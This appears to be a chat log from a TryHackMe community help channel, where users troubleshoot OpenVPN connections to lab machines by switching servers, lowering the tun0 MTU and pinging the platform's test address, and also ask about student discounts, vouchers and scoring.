Are you sure the machine you are trying to connect two has a website for you to access? what room is this btw
still didn't find a solution for my problem , if anybody can help
Did you scan the machine for open ports? The site you are looking for might not be running on port 80?
What VPN server are you using?
Can you share the OpenVPN logs that appear after you connect?

If the machine is your host, not...
It's not.
HI Team,
Openvpn is not working
We need more context.
OpenVPN is working for myself.
Can you tell me please;
- Which OS?
- Which server?
- Which syntax?
Alternaticly, verify and share screenshots.
!docs verify
I have downloaded the VPN config and updated the cipher as updated in the forum. Still getting below error
I'm just trying to connect to Try hack me on IN-Regular-1. I'm running openvpn command in kali
And what is the output?

This is the error
That looks like it's your own network
Sorry for the trouble Scrubz
I changed the network
and looks like the issue is really in the Network
Thanks for pointing it out.. Appreciate it
No trouble. 🙂
How can I get student discount on the premium?
Do you have a student E-mail?
If so.
Change it here.
Yeah I changed it to the edu e-mail turns out I just needed to wait a little bit. It works now. Thanks again.
Gave +1 Rep to @weary spindle
VPN showing not connected on access page but I can ping 10.10.10.10?
Running ps aux it looks like there is duplicates for OpenVPN running but but killing any of them always kills the VPN connection and they're always there when I restart it
The troubleshoot script says I'm connected
Running the config file also says I'm connected
My config file already has data-ciphers part correct as well
Tried multiple different servers, restarted Kali, deleted and reinstalled OpenVPN but nothing, homie was working fine yesterday
Being on mobile right now makes it hard to show the output
What do you mean changed the network?
@weary spindle help me obi wan
He probably switched to other vpn network
Like Eu_regular_1-2-3 etc.
Happened to me as well I was trying to connect 2 and 3 but turns out only 1 works @warped sapphire
Bruh none of them are working for me lmao
Literally changed nothing from yesterday
Are you using openvpn gui?
Nope, should I?
No gui is not working
IDK then switching to openvpn cli and switching to other vpn network solved the problem for me have no more knowledge about tue subject
Maybe try another region?
Ah lmao just buzzy that's it's saying I'm connected on the client side, can even ping 10.10.10.10 but on the access page it's like no beuno
Like if you are in USA-blabla-1 try eu-regular-1 etc
I have no idea :/
The "connected" status on the access page isn't 100% reliable. If you can ping 10.10.10.10 okay, I would trust that over the access page 🙂
Or curl 10.10.10.10/whoami
@zealous yoke @weary spindle curling that does give me the IP assigned by the VPN but right now the issue seems to be when I start a room and the show IP address counter gets to 0 nothing happens and it stays at 0 so I can't SSH in or anything. And Ben when you say isn't 100% reliable boy it literally hasn't shown me connected once in the last 2 hours. That's across every single server.
Does Ctrl and F5 solve this?
It does not no, now I can't even see where the IP address would be
Like the tab where I would terminate the machine
I can click the start machine button but then I get the machine already running pop up
idk whats wrong with thm but I am connected to the network no problem yet the machine I am doing my mission on is not reachable half of the time
Half of time? Must be nice 😂
just waiting patiently....
Idk man I'm bugging out just want this fixed lmao
How can someone get this more points? I answered every question correctly and like in 5 minutes.
Lmao I set aside 3 hours for this and VPN was like nope not today bud
Do you have any idea about this? literally answered everything correctly hows someone getting double the points i got?
Blood points for the first users, and the point system changed.
sudo ip link set dev tun0 mtu 1200
Cah you please try this 🙂
In a separate terminal,.leave the vpn running.
@weary spindle done
Did it help?
Are you using http or https?
For what specifically? In what sense?
What issue do you have?
VPN showing not connected on access page but I can ping 10.10.10.10?
Running ps aux it looks like there is duplicates for OpenVPN running but but killing any of them always kills the VPN connection and they're always there when I restart it
The troubleshoot script says I'm connected
Running the config file also says I'm connected
My config file already has data-ciphers part correct as well
I've tried every VPN server
Always says not connected
But again, the ping and curl command you suggested say I am connected, as well the troubleshoot script and the VPNs output
maybe a stupid take but there cant be a local device in ur network with that ip right?
Nope this is the only device running right now
At this point though no takes are stupid haha
As Ben said, that page can be bugged
Yes but I can't actually connect to any machines
Can you do ip a s¿
Damn what is that lol how do I get that on my keyboard (on mobile rn)
From the pics earlier I sent the countdown to reveal machine ip stops at 0
What is What? Lol
Yes lol
What are you looking for? Cause I got lo, eth0 and tun0. Eth0 ip given by router and tun0 is ip from VPN
I understand the access page can be bugged but every single server, logging out and restarting PC etc, I mean at that point something more is up
@weary spindle is that what you're expecting to see from that command?
And the MTU is 1200, like we set earlier
Just making sure you don't have more than one tun
But the issue looks like it could be thm side Ip isn't showing.
Can you try a different device?
Nope only this PC is linux don't have VMs set up on my windows machines
Plus this PC is the one with the good hardware lol so it needs to be the one
No. You can start a machine on the device.
No, hang on, I need to read that chat.
What issue are you having, you can't connect to machines at all?
The machines in rooms that I start don't show IP so I can't connect to them
That could be thm side
Could be indeed I wouldn't know
Gonna test wonderland
Can't test I have 3 open machines currently
But I can't close them lmao
Oh well, appreciate the help @weary spindle I'll just email support
hello guys, any problem reported with the website? I am trying to use the attackBox in the Snort Challenge - Live Attacks and the connection drops too frequently
i will try to restart the machine
all good now 👍
Can't connect to adenumeration using openvpn adenumeration.ovpn
I am also having some problems. Doing this room and the split screen VM view says "failed to connect to the server": https://tryhackme.com/room/caseb4dm755
i want to confirm is that i have 2 vouchers of tryhackme if i use both together, do i activate it for 1 month or 2 month?
oh ok
hello, are there any issues with the VPN connection? I am unable to ping any rooms, even though I am connected to the VPN
No, I'm connecting fine,
Which room are you trying to ping?
Win Shell Practice
Windows don't respond to pings.
good to know, but I had the same issue on "Linux Shell Practice"
i'll try again
the issue seems to be from my side, if I use the attack box it works fine. When i connect using openvpn i get a lot of "SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)" messages in the output. Has anyone dealt with this before?
You can try the VPN script
!vpnscript
thanks, will try it
Gave +1 Rep to @light path
It's always like this connected to the vpn and it's working but my requests to the machine %70+ of the time falls. I thought it's my problem but after seeing other people having these connection issues I think THM is to blame.
Have you try switching VPN servers and redownloading your connection file?
Yeah this is the only working server in EU other two are completely gone, at least it was yesterday.
Hmm, and this is the only vpn running? Could try lowing the MTU with sudo ip link set dev tun0 mtu 1200. Also running the VPN troubleshooting script might help
!vpnscript
Mtu might help will try that thanks
What are you pinging?
Ping is not the important part as it might not be answering to pings for different reasons but it's obvious that there are connection issues from the browser
Which room are you doing then?
pickle rick room,
I've got a kind of random question
I want to reset my progress on the Web Fundamentals learning path, as it's been nearly a year since I last touched it.
Is there a way to do that other than going to each room and manually resetting it? I'd rather not have to do that
I do not believe there is another way to do it
ah, alright
I appreciate it
